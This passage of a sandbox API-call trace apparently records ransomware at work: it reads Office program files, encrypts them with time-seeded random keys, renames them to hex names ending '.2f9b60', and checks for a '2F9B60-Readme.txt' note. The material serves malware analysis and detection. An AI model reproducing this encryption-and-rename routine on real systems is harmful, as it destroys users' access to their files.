BaseAddress=0x20260e30) returned 1 [0135.305] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dbf0) returned 1 [0135.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0135.306] WriteFile (in: hFile=0x1c50, lpBuffer=0x203190f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x28bcf600, lpOverlapped=0x0 | out: lpBuffer=0x203190f0*, lpNumberOfBytesWritten=0x28bcf600*=0x3c00, lpOverlapped=0x0) returned 1 [0135.308] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203190f0) returned 1 [0135.308] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ced8ad0 [0135.308] SetFilePointerEx (in: hFile=0x1c50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0135.309] WriteFile (in: hFile=0x1c50, lpBuffer=0x420600b0*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x28bcf6b0, lpOverlapped=0x0 | out: lpBuffer=0x420600b0*, lpNumberOfBytesWritten=0x28bcf6b0*=0x144, lpOverlapped=0x0) returned 1 [0135.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97df0 [0135.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dd70 [0135.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f730 [0135.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f730) returned 1 [0135.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b7d5a50 [0135.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f730 [0135.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb20 [0135.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fb20) returned 1 [0135.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dd70) returned 1 [0135.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97df0) returned 1 [0135.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x1b85fb20 [0135.380] sprintf (in: _Dest=0x1b85fb20, _Format="%c%c" | out: _Dest="a1") returned 2 [0135.380] sprintf (in: _Dest=0x1b85fb22, _Format="%c%c" | out: _Dest="c1") returned 2 [0135.380] sprintf (in: _Dest=0x1b85fb24, _Format="%c%c" | out: _Dest="a0") returned 2 [0135.380] sprintf (in: _Dest=0x1b85fb26, _Format="%c%c" | out: _Dest="fe") returned 2 [0135.380] sprintf (in: _Dest=0x1b85fb28, _Format="%c%c" | out: _Dest="c4") returned 2 [0135.380] sprintf (in: _Dest=0x1b85fb2a, _Format="%c%c" | out: _Dest="3a") returned 2 [0135.380] sprintf (in: _Dest=0x1b85fb2c, _Format="%c%c" | out: _Dest="f3") returned 2 [0135.380] sprintf (in: _Dest=0x1b85fb2e, _Format="%c%c" | out: _Dest="ec") returned 2 [0135.380] sprintf (in: _Dest=0x1b85fb30, _Format="%c%c" | out: _Dest="6b") returned 2 [0135.380] sprintf (in: _Dest=0x1b85fb32, _Format="%c%c" | out: _Dest="20") returned 2 [0135.381] sprintf (in: _Dest=0x1b85fb34, _Format="%c%c" | out: _Dest="be") returned 2 [0135.381] sprintf (in: _Dest=0x1b85fb36, _Format="%c%c" | out: _Dest="1d") returned 2 [0135.381] sprintf (in: _Dest=0x1b85fb38, _Format="%c%c" | out: _Dest="ba") returned 2 [0135.381] sprintf (in: _Dest=0x1b85fb3a, _Format="%c%c" | out: _Dest="1e") returned 2 [0135.381] sprintf (in: _Dest=0x1b85fb3c, _Format="%c%c" | out: _Dest="e9") returned 2 [0135.381] sprintf (in: _Dest=0x1b85fb3e, _Format="%c%c" | out: _Dest="5e") returned 2 [0135.381] sprintf (in: _Dest=0x1b85fb40, _Format="%c%c" | out: _Dest="d9") returned 2 [0135.381] sprintf (in: _Dest=0x1b85fb42, _Format="%c%c" | out: _Dest="31") returned 2 [0135.381] RtlInitAnsiString (in: DestinationString=0x28bcf728, SourceString="a1c1a0fec43af3ec6b20be1dba1ee95ed931" | out: DestinationString="a1c1a0fec43af3ec6b20be1dba1ee95ed931") [0135.381] RtlAnsiStringToUnicodeString (in: DestinationString=0x28bcf6f8, SourceString="a1c1a0fec43af3ec6b20be1dba1ee95ed931", AllocateDestinationString=1 | out: DestinationString="a1c1a0fec43af3ec6b20be1dba1ee95ed931") returned 0x0 [0135.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1b858670 [0135.381] wcscat (in: _Dest=0x1b79dd70, _Source="a1c1a0fec" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\a1c1a0fec") returned="C:\\Program Files\\Microsoft Office\\Office14\\a1c1a0fec" [0135.381] wcscat (in: _Dest=0x1b79dd70, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\a1c1a0fec.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\a1c1a0fec.2f9b60" [0135.381] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\a1c1a0fec.2f9b60", NtPathName=0x28bcf6d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\a1c1a0fec.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0135.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x20508f90 [0135.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20508f90) returned 1 [0135.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf470f0) returned 1 [0135.446] NtQueryInformationFile (in: FileHandle=0x1c50, IoStatusBlock=0x28bcf738, FileInformation=0x28bcf748, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x28bcf738, FileInformation=0x28bcf748) returned 0x0 [0135.446] NtSetInformationFile (FileHandle=0x1c50, IoStatusBlock=0x28bcf738, FileInformation=0x28bcf748, Length=0x28, FileInformationClass=0x4) returned 0x0 [0135.453] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dd70) returned 1 [0135.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858670) returned 1 [0135.611] FlushFileBuffers (hFile=0x1c50) returned 1 [0138.534] CloseHandle (hObject=0x1c50) returned 1 [0138.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cf4b770 [0138.627] wcscpy (in: _Dest=0x1cf4b770, _Source="C:\\Program Files\\Microsoft Office\\Office14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0138.627] wcscat (in: _Dest=0x1cf4b770, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" [0138.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\2f9b60-readme.txt")) returned 0x20 [0138.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4b770) returned 1 [0138.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 Thread: id = 1791 os_tid = 0xfe8 [0132.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mspub.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\mspub.exe.manifest")) returned 0x20 [0133.000] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mspub.exe.manifest", dwFileAttributes=0x20) returned 1 [0133.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mspub.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\mspub.exe.manifest"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c80 [0134.994] GetFileSizeEx (in: hFile=0x1c80, lpFileSize=0x28cbfa80 | out: lpFileSize=0x28cbfa80*=1207) returned 1 [0134.994] SetFilePointerEx (in: hFile=0x1c80, liDistanceToMove=0x4b3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.994] ReadFile (in: hFile=0x1c80, lpBuffer=0x28cbfa00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x28cbfa48, lpOverlapped=0x0 | out: lpBuffer=0x28cbfa00*, lpNumberOfBytesRead=0x28cbfa48*=0x4, lpOverlapped=0x0) returned 1 [0135.023] SetFilePointerEx (in: hFile=0x1c80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa40 [0135.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a9c0 [0135.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b320 [0135.023] NtQuerySystemTime (in: CurrentTime=0x28cbf940 | out: CurrentTime=0x28cbf940*=132462177402670000) returned 0x0 [0135.023] RtlRandomEx (in: Seed=0x28cbf930 | out: Seed=0x28cbf930) returned 0x513f4b3d [0135.023] RtlRandomEx (in: Seed=0x28cbf930 | out: Seed=0x28cbf930) returned 0x3ab547d8 [0135.024] RtlRandomEx (in: Seed=0x28cbf930 | out: Seed=0x28cbf930) returned 0x38a4db8d [0135.024] RtlRandomEx (in: Seed=0x28cbf930 | out: Seed=0x28cbf930) returned 0x1023e923 [0135.024] RtlRandomEx (in: Seed=0x28cbf930 | out: Seed=0x28cbf930) returned 0x3d9272 [0135.024] RtlRandomEx (in: Seed=0x28cbf930 | out: Seed=0x28cbf930) returned 0x4913e4c5 [0135.024] RtlRandomEx (in: Seed=0x28cbf930 | out: Seed=0x28cbf930) returned 0x64df9e56 [0135.024] RtlRandomEx (in: Seed=0x28cbf930 | out: Seed=0x28cbf930) returned 0x38739ea7 [0135.024] RtlRandomEx (in: Seed=0x28cbf930 | out: Seed=0x28cbf930) returned 0x26cfd12c [0135.024] RtlRandomEx (in: Seed=0x28cbf930 | out: Seed=0x28cbf930) returned 0x35bc08cb [0135.024] RtlRandomEx (in: Seed=0x28cbf930 | out: Seed=0x28cbf930) returned 0x25f3148e [0135.024] RtlRandomEx (in: Seed=0x28cbf930 | out: Seed=0x28cbf930) returned 0x419196a6 [0135.024] RtlRandomEx (in: Seed=0x28cbf930 | out: Seed=0x28cbf930) returned 0x2ba8bedf [0135.024] RtlRandomEx (in: Seed=0x28cbf930 | out: Seed=0x28cbf930) returned 0x449367e5 [0135.024] RtlRandomEx (in: Seed=0x28cbf930 | out: Seed=0x28cbf930) returned 0x33d803ce [0135.024] RtlRandomEx (in: Seed=0x28cbf930 | out: Seed=0x28cbf930) returned 0x5bc87396 [0135.024] RtlRandomEx (in: Seed=0x28cbf930 | out: Seed=0x28cbf930) returned 0x434fb6b0 [0135.024] RtlRandomEx (in: Seed=0x28cbf930 | out: Seed=0x28cbf930) returned 0x270fbfee [0135.024] RtlRandomEx (in: Seed=0x28cbf930 | out: Seed=0x28cbf930) returned 0x32cc0322 [0135.024] RtlRandomEx (in: Seed=0x28cbf930 | out: Seed=0x28cbf930) returned 0x6da7c758 [0135.024] RtlRandomEx (in: Seed=0x28cbf930 | out: Seed=0x28cbf930) returned 0x3c1bb83b [0135.024] RtlRandomEx (in: Seed=0x28cbf930 | out: Seed=0x28cbf930) returned 0x14e83859 [0135.024] RtlRandomEx (in: Seed=0x28cbf930 | out: Seed=0x28cbf930) returned 0x4197af0f [0135.024] RtlRandomEx (in: Seed=0x28cbf930 | out: Seed=0x28cbf930) returned 0x6846dda9 [0135.024] RtlRandomEx (in: Seed=0x28cbf930 | out: Seed=0x28cbf930) returned 0x1d2193ac [0135.024] RtlRandomEx (in: Seed=0x28cbf930 | out: Seed=0x28cbf930) returned 0x67e249bf [0135.024] RtlRandomEx (in: Seed=0x28cbf930 | out: Seed=0x28cbf930) returned 0xbaeadbb [0135.025] RtlRandomEx (in: Seed=0x28cbf930 | out: Seed=0x28cbf930) returned 0x13152f40 [0135.025] RtlRandomEx (in: Seed=0x28cbf930 | out: Seed=0x28cbf930) returned 0x2068cad1 [0135.025] RtlRandomEx (in: Seed=0x28cbf930 | out: Seed=0x28cbf930) returned 0x3e0b8c13 [0135.025] RtlRandomEx (in: Seed=0x28cbf930 | out: Seed=0x28cbf930) returned 0x173779d0 [0135.025] RtlRandomEx (in: Seed=0x28cbf930 | out: Seed=0x28cbf930) returned 0x54f82f1 [0135.037] ReadFile (in: hFile=0x1c80, lpBuffer=0x2035cd00, nNumberOfBytesToRead=0x4b7, lpNumberOfBytesRead=0x28cbf930, lpOverlapped=0x0 | out: lpBuffer=0x2035cd00*, lpNumberOfBytesRead=0x28cbf930*=0x4b7, lpOverlapped=0x0) returned 1 [0135.037] SetFilePointerEx (in: hFile=0x1c80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.037] WriteFile (in: hFile=0x1c80, lpBuffer=0x20360910*, nNumberOfBytesToWrite=0x4b7, lpNumberOfBytesWritten=0x28cbf934, lpOverlapped=0x0 | out: lpBuffer=0x20360910*, lpNumberOfBytesWritten=0x28cbf934*=0x4b7, lpOverlapped=0x0) returned 1 [0135.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260e30 [0135.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202627b0 [0135.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202627b0) returned 1 [0135.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20360910) returned 1 [0135.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2035cd00) returned 1 [0135.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dc70) returned 1 [0135.319] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98020) returned 1 [0135.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cda0070 [0135.319] SetFilePointerEx (in: hFile=0x1c80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0135.319] WriteFile (in: hFile=0x1c80, lpBuffer=0x167b80*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x28cbfa50, lpOverlapped=0x0 | out: lpBuffer=0x167b80*, lpNumberOfBytesWritten=0x28cbfa50*=0x116, lpOverlapped=0x0) returned 1 [0135.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97df0 [0135.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79de70 [0135.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f910 [0135.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f910) returned 1 [0135.385] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b85f910 [0135.385] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f490 [0135.385] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f730 [0135.385] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f730) returned 1 [0135.385] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79de70) returned 1 [0135.385] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97df0) returned 1 [0135.385] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x49) returned 0x1b858cd0 [0135.385] sprintf (in: _Dest=0x1b858cd0, _Format="%c%c" | out: _Dest="db") returned 2 [0135.385] sprintf (in: _Dest=0x1b858cd2, _Format="%c%c" | out: _Dest="13") returned 2 [0135.386] sprintf (in: _Dest=0x1b858cd4, _Format="%c%c" | out: _Dest="b7") returned 2 [0135.386] sprintf (in: _Dest=0x1b858cd6, _Format="%c%c" | out: _Dest="4e") returned 2 [0135.386] sprintf (in: _Dest=0x1b858cd8, _Format="%c%c" | out: _Dest="e6") returned 2 [0135.386] sprintf (in: _Dest=0x1b858cda, _Format="%c%c" | out: _Dest="37") returned 2 [0135.386] sprintf (in: _Dest=0x1b858cdc, _Format="%c%c" | out: _Dest="3d") returned 2 [0135.386] sprintf (in: _Dest=0x1b858cde, _Format="%c%c" | out: _Dest="18") returned 2 [0135.386] sprintf (in: _Dest=0x1b858ce0, _Format="%c%c" | out: _Dest="84") returned 2 [0135.386] sprintf (in: _Dest=0x1b858ce2, _Format="%c%c" | out: _Dest="c3") returned 2 [0135.386] sprintf (in: _Dest=0x1b858ce4, _Format="%c%c" | out: _Dest="06") returned 2 [0135.386] sprintf (in: _Dest=0x1b858ce6, _Format="%c%c" | out: _Dest="9d") returned 2 [0135.386] sprintf (in: _Dest=0x1b858ce8, _Format="%c%c" | out: _Dest="ef") returned 2 [0135.386] sprintf (in: _Dest=0x1b858cea, _Format="%c%c" | out: _Dest="98") returned 2 [0135.386] sprintf (in: _Dest=0x1b858cec, _Format="%c%c" | out: _Dest="0f") returned 2 [0135.386] sprintf (in: _Dest=0x1b858cee, _Format="%c%c" | out: _Dest="e3") returned 2 [0135.386] sprintf (in: _Dest=0x1b858cf0, _Format="%c%c" | out: _Dest="d1") returned 2 [0135.386] sprintf (in: _Dest=0x1b858cf2, _Format="%c%c" | out: _Dest="4f") returned 2 [0135.386] sprintf (in: _Dest=0x1b858cf4, _Format="%c%c" | out: _Dest="a7") returned 2 [0135.386] sprintf (in: _Dest=0x1b858cf6, _Format="%c%c" | out: _Dest="ee") returned 2 [0135.386] sprintf (in: _Dest=0x1b858cf8, _Format="%c%c" | out: _Dest="5b") returned 2 [0135.387] sprintf (in: _Dest=0x1b858cfa, _Format="%c%c" | out: _Dest="77") returned 2 [0135.387] sprintf (in: _Dest=0x1b858cfc, _Format="%c%c" | out: _Dest="d9") returned 2 [0135.387] sprintf (in: _Dest=0x1b858cfe, _Format="%c%c" | out: _Dest="2a") returned 2 [0135.387] sprintf (in: _Dest=0x1b858d00, _Format="%c%c" | out: _Dest="21") returned 2 [0135.387] sprintf (in: _Dest=0x1b858d02, _Format="%c%c" | out: _Dest="34") returned 2 [0135.387] sprintf (in: _Dest=0x1b858d04, _Format="%c%c" | out: _Dest="c8") returned 2 [0135.387] sprintf (in: _Dest=0x1b858d06, _Format="%c%c" | out: _Dest="12") returned 2 [0135.387] sprintf (in: _Dest=0x1b858d08, _Format="%c%c" | out: _Dest="86") returned 2 [0135.387] sprintf (in: _Dest=0x1b858d0a, _Format="%c%c" | out: _Dest="26") returned 2 [0135.387] sprintf (in: _Dest=0x1b858d0c, _Format="%c%c" | out: _Dest="12") returned 2 [0135.387] sprintf (in: _Dest=0x1b858d0e, _Format="%c%c" | out: _Dest="72") returned 2 [0135.387] sprintf (in: _Dest=0x1b858d10, _Format="%c%c" | out: _Dest="58") returned 2 [0135.387] sprintf (in: _Dest=0x1b858d12, _Format="%c%c" | out: _Dest="38") returned 2 [0135.387] sprintf (in: _Dest=0x1b858d14, _Format="%c%c" | out: _Dest="b1") returned 2 [0135.387] sprintf (in: _Dest=0x1b858d16, _Format="%c%c" | out: _Dest="89") returned 2 [0135.387] RtlInitAnsiString (in: DestinationString=0x28cbfac8, SourceString="db13b74ee6373d1884c3069def980fe3d14fa7ee5b77d92a2134c812862612725838b189" | out: DestinationString="db13b74ee6373d1884c3069def980fe3d14fa7ee5b77d92a2134c812862612725838b189") [0135.387] RtlAnsiStringToUnicodeString (in: DestinationString=0x28cbfa98, SourceString="db13b74ee6373d1884c3069def980fe3d14fa7ee5b77d92a2134c812862612725838b189", AllocateDestinationString=1 | out: DestinationString="db13b74ee6373d1884c3069def980fe3d14fa7ee5b77d92a2134c812862612725838b189") returned 0x0 [0135.387] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x205090d0 [0135.388] wcscat (in: _Dest=0x20509030, _Source="db13b74ee6373d1884" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\db13b74ee6373d1884") returned="C:\\Program Files\\Microsoft Office\\Office14\\db13b74ee6373d1884" [0135.388] wcscat (in: _Dest=0x20509030, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\db13b74ee6373d1884.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\db13b74ee6373d1884.2f9b60" [0135.388] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\db13b74ee6373d1884.2f9b60", NtPathName=0x28cbfa70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\db13b74ee6373d1884.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0135.388] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ad8c0 [0135.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad8c0) returned 1 [0135.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47780) returned 1 [0135.615] NtQueryInformationFile (in: FileHandle=0x1c80, IoStatusBlock=0x28cbfad8, FileInformation=0x28cbfae8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x28cbfad8, FileInformation=0x28cbfae8) returned 0x0 [0135.615] NtSetInformationFile (FileHandle=0x1c80, IoStatusBlock=0x28cbfad8, FileInformation=0x28cbfae8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0135.617] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20509030) returned 1 [0135.617] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205090d0) returned 1 [0135.617] FlushFileBuffers (hFile=0x1c80) returned 1 [0138.534] CloseHandle (hObject=0x1c80) returned 1 [0138.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cf4b770 [0138.629] wcscpy (in: _Dest=0x1cf4b770, _Source="C:\\Program Files\\Microsoft Office\\Office14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0138.629] wcscat (in: _Dest=0x1cf4b770, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" [0138.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\2f9b60-readme.txt")) returned 0x20 [0138.629] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4b770) returned 1 [0138.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b160) returned 1 Thread: id = 1792 os_tid = 0xd28 [0132.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPUB.TLB" (normalized: "c:\\program files\\microsoft office\\office14\\mspub.tlb")) returned 0x20 [0133.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPUB.TLB", dwFileAttributes=0x20) returned 1 [0133.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPUB.TLB" (normalized: "c:\\program files\\microsoft office\\office14\\mspub.tlb"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c98 [0135.129] GetFileSizeEx (in: hFile=0x1c98, lpFileSize=0x28defa20 | out: lpFileSize=0x28defa20*=261928) returned 1 [0135.129] SetFilePointerEx (in: hFile=0x1c98, liDistanceToMove=0x3ff24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.129] ReadFile (in: hFile=0x1c98, lpBuffer=0x28def9a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x28def9e8, lpOverlapped=0x0 | out: lpBuffer=0x28def9a0*, lpNumberOfBytesRead=0x28def9e8*=0x4, lpOverlapped=0x0) returned 1 [0135.156] SetFilePointerEx (in: hFile=0x1c98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260980 [0135.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261190 [0135.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202605f0 [0135.156] NtQuerySystemTime (in: CurrentTime=0x28def8e0 | out: CurrentTime=0x28def8e0*=132462177403918000) returned 0x0 [0135.156] RtlRandomEx (in: Seed=0x28def8d0 | out: Seed=0x28def8d0) returned 0x595bd520 [0135.156] RtlRandomEx (in: Seed=0x28def8d0 | out: Seed=0x28def8d0) returned 0x681f3aad [0135.157] RtlRandomEx (in: Seed=0x28def8d0 | out: Seed=0x28def8d0) returned 0x7e61b0ab [0135.157] RtlRandomEx (in: Seed=0x28def8d0 | out: Seed=0x28def8d0) returned 0x5d398047 [0135.157] RtlRandomEx (in: Seed=0x28def8d0 | out: Seed=0x28def8d0) returned 0x18aa3b13 [0135.157] RtlRandomEx (in: Seed=0x28def8d0 | out: Seed=0x28def8d0) returned 0x42e06564 [0135.157] RtlRandomEx (in: Seed=0x28def8d0 | out: Seed=0x28def8d0) returned 0x566296d [0135.157] RtlRandomEx (in: Seed=0x28def8d0 | out: Seed=0x28def8d0) returned 0x1deecb13 [0135.157] RtlRandomEx (in: Seed=0x28def8d0 | out: Seed=0x28def8d0) returned 0x4270d221 [0135.157] RtlRandomEx (in: Seed=0x28def8d0 | out: Seed=0x28def8d0) returned 0x5c864655 [0135.157] RtlRandomEx (in: Seed=0x28def8d0 | out: Seed=0x28def8d0) returned 0x343883ab [0135.157] RtlRandomEx (in: Seed=0x28def8d0 | out: Seed=0x28def8d0) returned 0x65ccac70 [0135.157] RtlRandomEx (in: Seed=0x28def8d0 | out: Seed=0x28def8d0) returned 0x1db25c8 [0135.157] RtlRandomEx (in: Seed=0x28def8d0 | out: Seed=0x28def8d0) returned 0x4990eb8 [0135.157] RtlRandomEx (in: Seed=0x28def8d0 | out: Seed=0x28def8d0) returned 0x61474e6d [0135.157] RtlRandomEx (in: Seed=0x28def8d0 | out: Seed=0x28def8d0) returned 0x4eb18354 [0135.157] RtlRandomEx (in: Seed=0x28def8d0 | out: Seed=0x28def8d0) returned 0xf788623 [0135.157] RtlRandomEx (in: Seed=0x28def8d0 | out: Seed=0x28def8d0) returned 0x1489c86f [0135.157] RtlRandomEx (in: Seed=0x28def8d0 | out: Seed=0x28def8d0) returned 0x471c979d [0135.157] RtlRandomEx (in: Seed=0x28def8d0 | out: Seed=0x28def8d0) returned 0x7a49d791 [0135.157] RtlRandomEx (in: Seed=0x28def8d0 | out: Seed=0x28def8d0) returned 0x3c99b3f2 [0135.158] RtlRandomEx (in: Seed=0x28def8d0 | out: Seed=0x28def8d0) returned 0x64abadad [0135.158] RtlRandomEx (in: Seed=0x28def8d0 | out: Seed=0x28def8d0) returned 0x6b996519 [0135.158] RtlRandomEx (in: Seed=0x28def8d0 | out: Seed=0x28def8d0) returned 0xdf6e763 [0135.158] RtlRandomEx (in: Seed=0x28def8d0 | out: Seed=0x28def8d0) returned 0x1ec2b1f4 [0135.158] RtlRandomEx (in: Seed=0x28def8d0 | out: Seed=0x28def8d0) returned 0x570a42bd [0135.158] RtlRandomEx (in: Seed=0x28def8d0 | out: Seed=0x28def8d0) returned 0x7784c3d0 [0135.158] RtlRandomEx (in: Seed=0x28def8d0 | out: Seed=0x28def8d0) returned 0x28f52efd [0135.158] RtlRandomEx (in: Seed=0x28def8d0 | out: Seed=0x28def8d0) returned 0x765ff7bf [0135.158] RtlRandomEx (in: Seed=0x28def8d0 | out: Seed=0x28def8d0) returned 0x4a3bacc [0135.158] RtlRandomEx (in: Seed=0x28def8d0 | out: Seed=0x28def8d0) returned 0x734bcbab [0135.158] RtlRandomEx (in: Seed=0x28def8d0 | out: Seed=0x28def8d0) returned 